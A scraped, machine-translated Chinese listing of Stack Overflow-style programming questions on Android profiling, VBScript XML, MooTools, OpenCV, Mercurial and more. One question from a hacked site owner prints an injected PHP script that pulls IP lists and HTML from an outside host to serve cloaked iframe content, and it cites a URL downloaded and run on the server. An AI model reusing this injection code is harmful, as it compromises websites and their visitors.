问题列表 - 第40452页

Android软件NDK本机c代码在实际Android手机上进行分析

我正在使用日志本机代码在Android上开发一个相当大的软件,它现在正在运行,但有一些性能问题.

我希望我可以在几个真正的Android手机上分析软件的每个模块(函数调用)的CPU周期,内存使用情况等.是否有一个简单的c库来做到这一点?

我看到人们使用oprofile,因为它是一个系统狂野的探查器,它似乎对我的情况来说太过分了,它需要重建内核和系统映像.

因为我有我的应用程序的完整源代码,所有我真正需要的是一个简单的c库,我可以嵌入我的代码中进行一些分析,同时应用程序运行几个测试用例.

顺便说一句,Linux的做法是什么?

android profiling android-ndk

14
推荐指数
1
解决办法
5054
查看次数

将子条目添加到vbscipt中xml文件中的特定节点

我有一个带有此条目的xml文件DataConfiguration.xml

<DataSource>
 <localdata>
    <add context="Localization">
       <parameter name="timeout" type="int" defaultvalue="60"/>
       <parameter name="address" type="string" defaultvalue="192.168.9.45" />
       <parameter name="port" type="int" defaultvalue="6789"/>
    </add>
</localdata>
</DataSource>
Run Code Online (Sandbox Code Playgroud)

我需要在"localdata"中添加另一个条目,这样就可以了

 <DataSource>
     <localdata>
        <add context="Localization">
           <parameter name="timeout" type="int" defaultvalue="60"/>
           <parameter name="address" type="string" defaultvalue="192.168.9.45" />
           <parameter name="port" type="int" defaultvalue="6789"/>
        </add>
       <add context="General">
           <parameter name="timeout" type="int" defaultvalue="60"/>
           <parameter name="address" type="string" defaultvalue="192.168.9.478" />
           <parameter name="port" type="int" defaultvalue="5674"/>
        </add>
    </localdata>
    </DataSource>
Run Code Online (Sandbox Code Playgroud)

我如何在vbscript中添加它?

我的当前代码

'created xml file object
Set xmlDoc = CreateObject("Msxml2.DOMDocument")

xmlDoc.async = False  
xmlDoc.preserveWhiteSpace= True 
xmlDoc.load("DataConfiguration.xml")

Dim entry

entry = "<add context=""General"">" …
Run Code Online (Sandbox Code Playgroud)

xml vbscript msxml

2
推荐指数
1
解决办法
2万
查看次数

Javascript Mootools点击事件和他的来电者?

我有这个小脚本:

var moolang = new Class({
    initialize: function(element) { 

        this.el = $(element);
        this.el.addEvent('click', this.popup);  

    },

    popup: function()
    {
        //this.id = the id of the element.
    }
});
Run Code Online (Sandbox Code Playgroud)

我想在弹出功能中知道"this".但如果我尝试像alert(this.el.id)这样的东西,它就说没有这个.el:/

有没有办法知道哪个类添加了事件?

javascript mootools javascript-events javascript-framework

0
推荐指数
1
解决办法
446
查看次数

使用<input type ="file">时限制文件格式?

当用户单击<input type="file">HTML 中元素中的"浏览"按钮时,我想限制可从本机OS文件选择器中选择的文件类型.我有一种感觉,这是不可能的,但我想知道是否有一个解决方案.我想完全依赖于HTML和JavaScript; 请不要闪光.

html types file

595
推荐指数
10
解决办法
47万
查看次数

OpenCV在分配const引用时逃脱了吗?

我偶然发现了openCV源代码中的这段代码(cxoperations.hpp,第1134行,在Vector类的定义中):

Vector(const Vector& d, const Range& r)
{
    if( r == Range::all() )
        r = Range(0, d.size());

    // some more stuff...
}
Run Code Online (Sandbox Code Playgroud)

请注意,Vector该类没有调用数据成员r(实际上,标识符r仅出现在整个类定义中的另一个位置,作为另一个方法中的参数).显然,这是对const参考的任务.

我试图重现一个最小的例子:

#include <iostream>

class Foo
{
  public:
    int _a;
    Foo(int a) : _a(a) {}
};

int main()
{
    Foo x(0);
    const Foo& y = x;
    printf("%d\n", y._a);
    y = Foo(3);
    printf("%d\n", y._a);
}
Run Code Online (Sandbox Code Playgroud)

当然,这无法编译:g ++给出了错误

test.cpp:15: error: passing `const Foo' as `this' argument of `Foo& …
Run Code Online (Sandbox Code Playgroud)

c++ opencv const reference

5
推荐指数
1
解决办法
423
查看次数

相当于雷鸟的萤火虫

当我构建一个时事通讯并将其作为测试发送给自己时,我希望能够在我的电子邮件客户端(Thunderbird)中分析生成的HTML.

有没有类似于Firebug的工具,但对于Thunderbird?我发现了一个名为"DOM Inspector"但它非常弱且难以使用......

email firebug dom thunderbird chromebug

9
推荐指数
1
解决办法
2367
查看次数

我只是被黑了,但我不知道怎么或更重要的是,为什么.非常奇怪的代码注入

编辑:到目前为止工作都很好.

我刚刚发现这是下载并在我的bash历史中运行:

http://notsoft.ru/glib

(安全查看)

谢谢大家


我刚刚注意到我的网站的源代码php已被编辑.我不知道(我之后我改变了所有的密码),但真正令我困惑的是为什么.

在几个页面中放置了一个iframe,链接到一个xml.php文件,该文件放在我的images目录中(HTACCESS唯一可访问的目录.这个代码必须手工放置,因为页面相当复杂并且自动放置没有制动这些页面几乎是不可能的.

现在真正令人困惑的是这个XML.php文件的内容,因为我可以看到它什么也没做.

这是代码:

<?php

$urlIps = "http://mp3magicmag.com/frame/ips.txt"; // Url to IP's
$urlHtml = "http://mp3magicmag.com/frame/html.code"; // Url to html.code
$urlUa = "http://mp3magicmag.com/frame/ua.txt"; // Url to User Agent file

if(isset($_GET['ping'])){
    echo "Status: Ping successful!"; die;
}
$ip = $_SERVER['REMOTE_ADDR'];
//orezaem do deapozona
$exIps = explode(".", $ip);

$ip = $exIps[0].".".$exIps[1].".".$exIps[2];

$ips = file_get_contents($urlIps);

if(strpos(" ".$ips, $ip)){ // esli nashli IP v file to ostanavlivaem process..
    die;
}

$arrUa = file($urlUa);
for($ua=0; $ua<count($arrUa); $ua++){
    $userAgent …
Run Code Online (Sandbox Code Playgroud)

php

7
推荐指数
1
解决办法
642
查看次数

循环遍历列表并创建单个字符串的最快方法是什么?

例如:

list = [{"title_url": "joe_white", "id": 1, "title": "Joe White"},
        {"title_url": "peter_black", "id": 2, "title": "Peter Black"}]
Run Code Online (Sandbox Code Playgroud)

我怎样才能有效地循环创建:

Joe White, Peter Black
<a href="/u/joe_white">Joe White</a>,<a href="/u/peter_black">Peter Black</a>
Run Code Online (Sandbox Code Playgroud)

谢谢.

python nested-lists

2
推荐指数
2
解决办法
1631
查看次数

UITapGestureRecognizer等待第二次点击,按钮慢

我有一个UITapGestureRecognizer等待doubletap将scrollview缩小回原始级别.但是有一种情况我在scrollview的顶部添加了几个按钮.这些按钮反应非常缓慢(缓慢),因为一旦我点击一个按钮,应用程序等待第二次点击.如果没有,则按下按钮.

任何人都知道如何让按钮快速响应?我可以在按钮启动时暂时禁用GestureRecogniser吗?

干杯尼克

uigesturerecognizer

5
推荐指数
1
解决办法
1793
查看次数

Mercurial提交消息和日志,支持什么编码,Hg是否关心?

我尝试通过我的Mercurial包装器库进行简单的提交,使用简单的文本Unicode:æøåÆØÅ作为我的提交消息.这将写入文本文件并使用适当的参数提供给Mercurial:

hg commit --logfile FILE
Run Code Online (Sandbox Code Playgroud)

如果我随后使用TortoiseHg查看存储库,则可以正确再现字符.在控制台上,它们被破坏了:

[C:\Temp] :hg log
changeset:   0:6a0911410128
tag:         tip
user:        Lasse V. Karlsen 
date:        Wed Dec 01 21:48:54 2010 +0100
summary:     Unicode:?ª???Ñ?å?ÿ?à

如果我将输出重定向hg log到文件,并将其打开,æøåÆØÅ则可以正确再现.

所以,我的问题是:

  • 我可以要求hg直接将日志写入文件,还是必须重定向标准输出?
  • 这会导致控制台的python编码问题,即.一些角色会hg崩溃而不是仅仅破坏输出?
  • 是否存在我应该遵守的提交消息的已知支持编码?

或者就是这么简单:

  • Mercurial并不关心,它接受我提供的文件的内容,无论内容如何,​​并将其存储为提交消息.在生成日志时,它会将它转储回控制台,成为Python控制台输出库在这方面的限制的牺牲品吗?

unicode mercurial

6
推荐指数
1
解决办法
4633
查看次数